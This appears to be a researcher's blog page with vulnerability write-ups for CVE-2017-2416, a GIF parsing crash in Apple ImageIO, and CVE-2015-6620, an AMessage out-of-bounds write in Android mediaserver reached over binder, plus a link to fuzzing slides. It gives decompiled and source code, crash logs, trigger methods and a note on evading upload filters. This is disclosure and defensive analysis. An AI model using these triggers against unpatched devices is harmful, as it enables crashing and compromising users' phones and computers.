然后被攻击的设备就再也打不开imessage了

Crash trace

* thread #1: tid = 0x17570, 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
    frame #0: 0x00007fff9557f1ab ImageIO`IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
ImageIO`IIOReadPlugin::IIOReadPlugin:
->  0x7fff9557f1ab <+67>: mov    al, byte ptr [rdi + 0x40]
    0x7fff9557f1ae <+70>: mov    qword ptr [rbx + 0x20], rdi
    0x7fff9557f1b2 <+74>: mov    byte ptr [rbx + 0xc8], al
    0x7fff9557f1b8 <+80>: xor    eax, eax Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   com.apple.ImageIO.framework        0x00007fffa144d1ab IIOReadPlugin::IIOReadPlugin(CGImagePlus*, unsigned int, unsigned int, long long, unsigned char) + 67
1   com.apple.ImageIO.framework        0x00007fffa14b8c93 GIFReadPlugin::InitProc(CGImagePlugin*, unsigned long, unsigned long) + 59
2   com.apple.ImageIO.framework        0x00007fffa14177da IIOImageSource::makeImagePlus(unsigned long, __CFDictionary const*) + 252
3   com.apple.ImageIO.framework        0x00007fffa141918b IIOImageSource::getPropertiesAtIndexInternal(unsigned long, __CFDictionary const*) + 57
4   com.apple.ImageIO.framework        0x00007fffa141911c IIOImageSource::copyPropertiesAtIndex(unsigned long, __CFDictionary const*) + 98
5   com.apple.ImageIO.framework        0x00007fffa13f03ca CGImageSourceCopyPropertiesAtIndex + 181
6   com.apple.AppKit                   0x00007fff9cfdbcae +[NSBitmapImageRep _imagesWithData:hfsFileType:extension:zone:expandImageContentNow:includeAllReps:] + 543
7   com.apple.AppKit                   0x00007fff9cfdba68 +[NSBitmapImageRep _imageRepsWithData:hfsFileType:extension:expandImageContentNow:] + 93
8   com.apple.AppKit                   0x00007fff9d4bf08e -[NSImage _initWithData:fileType:hfsType:] + 479

在苹果平台上,基本所有的图像解析功能最后都会调用[NSImage _initWithData:fileType:hfsType:], 随后IIOImageSource将图像的解析根据图像头特征分配到对应的plugin中。注意这里并不是基于文件扩展名做的判断,所以后续我们可以通过这个特性绕过过滤实现利用。

漏洞样例图片

如果把它拖动到任意macos/iOS app中的时候崩溃了,那么你的系统受该漏洞影响,赶快升级吧。 测试样例文件下载:Sample PNG Sample GIF 仅供自测使用,请勿用于非法用途例如发送给他人。

漏洞分析

漏洞的一个源头在GIFReadPlugin::init函数中,观察如下反汇编代码:

  v32 = (signed __int16)width * (signed __int64)height;
  if ( v32 > filesize * 1100 * v29 )
  {
    LOBYTE(aspectbyte) = 0;
    v15 = 0LL;
    if ( this->gapC0[8] )
    {
      LOBYTE(aspectbyte) = 0;
      LogError(
        "init",
        498,
        "malformed GIF file (%d x %d) - [canvasSize: %ld  fileSize: %ld   ratio: %d]  \n",
        (unsigned int)(signed __int16)width,
        (unsigned int)(height),    // width >> 16 is height
        (signed __int16)width * (signed __int64)SHIWORD(width),
        filesize,
        v32 / filesize);
      v15 = 0LL;
    }
    goto LABEL_71;
  }
__text:00000000000CC51F                 movsx   rax, r9w
__text:00000000000CC523                 mov     ecx, r9d
__text:00000000000CC526                 shr     ecx, 10h
__text:00000000000CC529                 movsx   rbx, cx
__text:00000000000CC52D                 imul    rbx, rax
__text:00000000000CC531                 imul    rdx, r12, 44Ch
__text:00000000000CC538                 mov     rax, rdx
__text:00000000000CC53B                 imul    rax, rsi
__text:00000000000CC53F                 cmp     rbx, rax

一个攻击者可以构造负数的高度和长度,bypass掉对filesize的比较,造成后续内存越界访问。一般来讲攻击者可以通过手动构造图片输入流/hook进行发送,或者通过app服务自身提供的web服务来进行发送。前面提到过ImageIO解析图片的时候并不是通过判断扩展名来进行的,通过这个特性我们可以同样bypass一些web图片上传界面的过滤,将恶意图片成功发送到对方设备上,粗发漏洞。

相对来讲稍微令人诧异的是苹果的修复。补丁并没有打在size比较这里,而是打在了IIOReadPlugin这里。在补丁之前,IIOReadPlugin的关键代码如下所示:

bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
    unsigned __int8 v6; // r14@1
    IIOReadPlugin *this; // rbx@1
    __int64 v8; // rax@1
    __int64 sessionwrap; // rdi@1
    IIOImageReadSession *session; // rax@2
    IIOImageRead *v11; // rdi@2
    __int64 v12; // rax@2
    __int64 *v13; // rcx@5
    __int64 v14; // rdx@5
    bool result; // al@5
    v6 = a6;
    this = a1;
    a1->vt = (__int64)off_1659D0;
    a1->field_8 = a2;
    v8 = *(_QWORD *)(a2 + 24);
    a1->field_10 = v8;
    a1->field_38 = a3;
    a1->field_3c = a4;
    a1->field_30 = a5;
    sessionwrap = *(_QWORD *)(v8 + 24);
    if ( sessionwrap )
    {
        session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
        this->session = session;
        v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
        LOBYTE(session) = v11->field_40;
        this->field_20 = (__int64)v11;
        this->field_c8 = (char)session;
        v12 = 0LL;
        if ( v11 )
            v12 = IIOImageRead::getSize(v11);
    }
    else
    {
        this->field_20 = 0LL;
        this->session = 0LL;
        this->field_c8 = 1;
        v12 = 0LL;
    }

在10.12.4中,if分支语句变成了如下所示:

  a1->field_8 = cgimgplus;
  imageplus = CGImagePlusGetIPlus(cgimgplus);
  a1->field_10 = imageplus;
  a1->field_38 = v9;
  a1->field_3c = v8;
  a1->field_30 = v7;
  v12 = *(_QWORD *)(imageplus + 32);
  a1->field_18 = v12;
  imageread = *(IIOImageRead **)(v12 + 32);
  if ( imageread )
  {
    v10->field_c8 = *((_BYTE *)imageread + 64);
    v10->field_20 = (__int64)imageread;
    v14 = IIOImageRead::getSize(imageread);
  }
  else
  {
    v10->field_c8 = 0;
    v10->field_20 = 0LL;
    v14 = 0LL;
  }

IIOImageReadSession的使用在这里被移除了。这是否从根源上解决了问题?让我们拭目以待。

对开发者和用户的建议

对于想自行防御这个问题的开发者来说(毕竟有很多用户没有升级到最新版,锅还是会被他们扣在开发者头上),我建议在图片显示前先自行检查下GIF宽度和高度。

对于终端用户来讲,当然升级系统是最好的办法了。

Timeline

  • 2017.1.10 Initial discovery
  • 2017.1.16 Report to Apple
  • 2017.1.24 Apple responds on they are working on a fix
  • 2017.3.23 CVE-2017-2416 assigned
  • 2017.3.28 Advisory published at https://support.apple.com/zh-cn/HT207617
  • 2017.4.6 Public disclosure

Some examples of kernel infoleak bugs on Android

Recently as KASLR is slowly adopted into Android and because of the requirements of exploitation stability of previous bugs, kernel infoleak bugs are becoming more and more important. Here I want to explain two infoleak bugs on Android, one found by me and is fixed now, and other one is a known and fixed bug but very useful as it exists on all android platforms.

Continue reading

ANDROIDID-24123723 (CVE-2015-6620) POC and writeup

github link at https://github.com/flankerhqd/CVE-2015-6620-POC

CVE-2015-6620-POC-1

POC for one bug in CVE-2015-6620-1 (ANDROIDID-24123723), AMessage unmarshal arbitrary write. The two bugs are merged to one CVE, and here is POC for one of them.

Explaination

533 sp<AMessage> AMessage::FromParcel(const Parcel &parcel) {
534    int32_t what = parcel.readInt32();
535    sp<AMessage> msg = new AMessage(what);
536
537    msg->mNumItems = static_cast<size_t>(parcel.readInt32()); //mNumItems can be set by attacker
538    for (size_t i = 0; i < msg->mNumItems; ++i) {
539        Item *item = &msg->mItems[i];
540
541        const char *name = parcel.readCString();
542        item->setName(name, strlen(name));
543        item->mType = static_cast<Type>(parcel.readInt32());
544
545        switch (item->mType) {
547            {
548                item->u.int32Value = parcel.readInt32();//overwrite out-of-bound
549                break;
550            }

65 void AMessage::clear() {
66    for (size_t i = 0; i < mNumItems; ++i) {
67        Item *item = &mItems[i];
68        delete[] item->mName; //maybe freeing the wrong pointer if i ran out-of-bound
69        item->mName = NULL;
70        freeItemValue(item);
71    }
72    mNumItems = 0;
73}

The msg->mItems is an array of fixed size kMaxNumItems=64, however when AMessage is unmarshalled, the loop counter can be set far beyond this limit, thus lead to memory overwrite or arbitrary freeing, then memory corruption.

Then we need to find a binder interface that will unmarshal the AMessage and can be called by unprivileged application. Through searching I found that the IStreamListener->issueCommand is a callback that accepts transaction from normal client, then processed at the mediaserver side. And it will construct AMessage from input parcel.

To get an IStreamListener, one way is create a BnStreamSource and provide to MediaPlayer->setDataSource, then when playing MediaPlayer will call the setListener method of your BnStreamSource Implementation, providing the client an IStreamListener and communicate control params via AMessage. So, we provide our fake AMessage here. Boom!

Test method:

Build the POC with name stream, then ran with adb shell stream ts-file-name. I use a TS media file to trigger the binder callback for simplicity, but there should be better options.

Sample crash:

F/libc    (17405): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdfe85000 in tid 17511 (streaming)
I/DEBUG   (  355): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   (  355): Build fingerprint: 'google/shamu/shamu:5.1.1/LMY48I/2074855:user/release-keys'
I/DEBUG   (  355): Revision: '33696'
I/DEBUG   (  355): ABI: 'arm'
W/NativeCrashListener(  839): Couldn't find ProcessRecord for pid 17405
I/DEBUG   (  355): pid: 17405, tid: 17511, name: streaming  >>> /system/bin/mediaserver <<<
E/DEBUG   (  355): AM write failure (32 / Broken pipe)
I/DEBUG   (  355): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdfe85000
I/DEBUG   (  355):     r0 29685000  r1 d6d5d4d9  r2 b6802e74  r3 fff29685
I/DEBUG   (  355):     r4 b6800000  r5 000003df  r6 b6802e8c  r7 c81fff19
I/DEBUG   (  355):     r8 b6be24b8  r9 000003e2  sl b380bbac  fp b6e65fd8
I/DEBUG   (  355):     ip 0000000c  sp b380bac0  lr b6e31b3d  pc b6e31af6  cpsr 200f0030
I/DEBUG   (  355):
I/DEBUG   (  355): backtrace:
I/DEBUG   (  355):     #00 pc 00041af6  /system/lib/libc.so (je_arena_dalloc_bin+41)
I/DEBUG   (  355):     #01 pc 00041b39  /system/lib/libc.so (je_arena_dalloc_small+28)
I/DEBUG   (  355):     #02 pc 000498b3  /system/lib/libc.so (ifree+462)
I/DEBUG   (  355):     #03 pc 00012caf  /system/lib/libc.so (free+10)
I/DEBUG   (  355):     #04 pc 0000c943  /system/lib/libstagefright_foundation.so (android::AMessage::clear()+24)
I/DEBUG   (  355):     #05 pc 0000c973  /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+18)
I/DEBUG   (  355):     #06 pc 0000c98d  /system/lib/libstagefright_foundation.so (android::AMessage::~AMessage()+4)
I/DEBUG   (  355):     #07 pc 0000ec55  /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+40)
I/DEBUG   (  355):     #08 pc 0003a679  /system/lib/libmediaplayerservice.so (android::sp<android::SharedLibrary>::~sp()+10)
I/DEBUG   (  355):     #09 pc 0005bbeb  /system/lib/libmediaplayerservice.so
I/DEBUG   (  355):     #10 pc 0005be71  /system/lib/libmediaplayerservice.so (android::NuPlayer::NuPlayerStreamListener::read(void*, unsigned int, android::sp<android::AMessage>*)+216)
I/DEBUG   (  355):     #11 pc 000580fb  /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onReadBuffer()+50)
I/DEBUG   (  355):     #12 pc 00058271  /system/lib/libmediaplayerservice.so (android::NuPlayer::StreamingSource::onMessageReceived(android::sp<android::AMessage> const&)+20)
I/DEBUG   (  355):     #13 pc 0000c4c3  /system/lib/libstagefright_foundation.so (android::ALooperRoster::deliverMessage(android::sp<android::AMessage> const&)+166)
I/DEBUG   (  355):     #14 pc 0000be45  /system/lib/libstagefright_foundation.so (android::ALooper::loop()+220)
I/DEBUG   (  355):     #15 pc 000104d5  /system/lib/libutils.so (android::Thread::_threadLoop(void*)+112)
I/DEBUG   (  355):     #16 pc 00010045  /system/lib/libutils.so
I/DEBUG   (  355):     #17 pc 00016baf  /system/lib/libc.so (__pthread_start(void*)+30)
I/DEBUG   (  355):     #18 pc 00014af3  /system/lib/libc.so (__start_thread+6)
I/DEBUG   (  355):
I/DEBUG   (  355): Tombstone written to: /data/tombstones/tombstone_04

Fuzzing binder for fun and profit

这是11.20日我在京东沙龙演讲的ppt, 讲述了binder的基本结构和我们发现的几个漏洞的利用方式. 由于讲的0day内容google还没有公开补丁,故这个公开下载的ppt马赛克了这部分内容. ppt链接在 http://tool.flanker017.me/papers/fuzzing-binder-for-fun-for-profit-sharing.pdf